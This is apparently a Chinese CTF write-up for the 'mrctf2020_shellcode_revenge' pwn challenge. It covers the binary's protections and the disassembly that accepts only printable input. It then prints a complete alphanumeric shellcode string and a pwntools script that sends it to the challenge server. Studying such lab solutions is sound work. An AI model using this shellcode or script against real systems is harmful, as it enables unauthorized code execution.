mrctf2020_shellcode_revenge

mrctf2020_shellcode_revenge

复制代码
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

64位,开了PIE和RELRO,看到RWX出来,就感觉是shellcode了

进入IDA,没法反编译

复制代码
.text:0000000000001155 buf             = byte ptr -410h
.text:0000000000001155 var_8           = dword ptr -8
.text:0000000000001155 var_4           = dword ptr -4
.text:0000000000001155
.text:0000000000001155 ; __unwind {
.text:0000000000001155                 push    rbp
.text:0000000000001156                 mov     rbp, rsp
.text:0000000000001159                 sub     rsp, 410h
.text:0000000000001160                 mov     edx, 14h        ; n
.text:0000000000001165                 lea     rsi, aShowMeYourMagi ; "Show me your magic!\n"
.text:000000000000116C                 mov     edi, 1          ; fd
.text:0000000000001171                 mov     eax, 0
.text:0000000000001176                 call    _write
.text:000000000000117B                 lea     rax, [rbp+buf]
.text:0000000000001182                 mov     edx, 400h       ; nbytes
.text:0000000000001187                 mov     rsi, rax        ; buf
.text:000000000000118A                 mov     edi, 0          ; fd
.text:000000000000118F                 mov     eax, 0
.text:0000000000001194                 call    _read

到read这里,就是read(0,buf,0x400),并且buf是0x410,没法溢出

复制代码
.text:00000000000011B8                 mov     eax, [rbp+var_4]
.text:00000000000011BB                 cdqe
.text:00000000000011BD                 movzx   eax, [rbp+rax+buf]
.text:00000000000011C5                 cmp     al, 60h ; '`'
.text:00000000000011C7                 jle     short loc_11DA
.text:00000000000011C9                 mov     eax, [rbp+var_4]
.text:00000000000011CC                 cdqe
.text:00000000000011CE                 movzx   eax, [rbp+rax+buf]
.text:00000000000011D6                 cmp     al, 7Ah ; 'z'
.text:00000000000011D8                 jle     short loc_1236
.text:00000000000011DA
.text:00000000000011DA loc_11DA:                               ; CODE XREF: main+72↑j
.text:00000000000011DA                 mov     eax, [rbp+var_4]
.text:00000000000011DD                 cdqe
.text:00000000000011DF                 movzx   eax, [rbp+rax+buf]
.text:00000000000011E7                 cmp     al, 40h ; '@'
.text:00000000000011E9                 jle     short loc_11FC
.text:00000000000011EB                 mov     eax, [rbp+var_4]
.text:00000000000011EE                 cdqe
.text:00000000000011F0                 movzx   eax, [rbp+rax+buf]
.text:00000000000011F8                 cmp     al, 5Ah ; 'Z'
.text:00000000000011FA                 jle     short loc_1236
.text:00000000000011FC
.text:00000000000011FC loc_11FC:                               ; CODE XREF: main+94↑j
.text:00000000000011FC                 mov     eax, [rbp+var_4]
.text:00000000000011FF                 cdqe
.text:0000000000001201                 movzx   eax, [rbp+rax+buf]
.text:0000000000001209                 cmp     al, 2Fh ; '/'
.text:000000000000120B                 jle     short loc_121E
.text:000000000000120D                 mov     eax, [rbp+var_4]
.text:0000000000001210                 cdqe
.text:0000000000001212                 movzx   eax, [rbp+rax+buf]
.text:000000000000121A                 cmp     al, 5Ah ; 'Z'
.text:000000000000121C                 jle     short loc_1236

下面这里,就是判断你输入的是否是可见字符

思路

可见字符shellcode

复制代码
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",28860,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')

pl=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
sa(b'magic!',pl)

ia()
相关推荐
wanhengidc3 小时前
云手机适配用户有哪些?
服务器·arm开发·安全·智能手机·玩游戏
亚远景aspice4 小时前
亚远景-ISO 26262与ISO 21434:汽车安全标准的双基石
安全·web安全
pingao1413787 小时前
雨量监测进入智慧时代:自动站守护城市安全
安全
newxtc7 小时前
【四川政务服务网-注册安全分析报告】
运维·selenium·安全·政务·安全爆破
金仓拾光集10 小时前
__金仓数据库平替MongoDB全栈安全实战:从文档存储到多模一体化的演进之路__
数据库·安全·mongodb
JohnYan10 小时前
微软验证器-验证ID功能初体验
后端·算法·安全
007tg11 小时前
Facebook多账号管理实战指南:安全合规与效率提升策略
运维·安全·facebook
white-persist12 小时前
Linux中,vi(vim)编辑器大部分快捷键
linux·运维·服务器·网络·安全·编辑器·vim
上海云盾第一敬业销售12 小时前
高防CDN如何确保电商平台在购物节期间运转如常
安全·游戏·ddos
_院长大人_13 小时前
SpringBoot + 百度内容安全实战:自定义注解 + AOP 实现统一内容审核(支持文本 / 图片 / 视频 + 白名单 + 动态开关)
spring boot·安全·音视频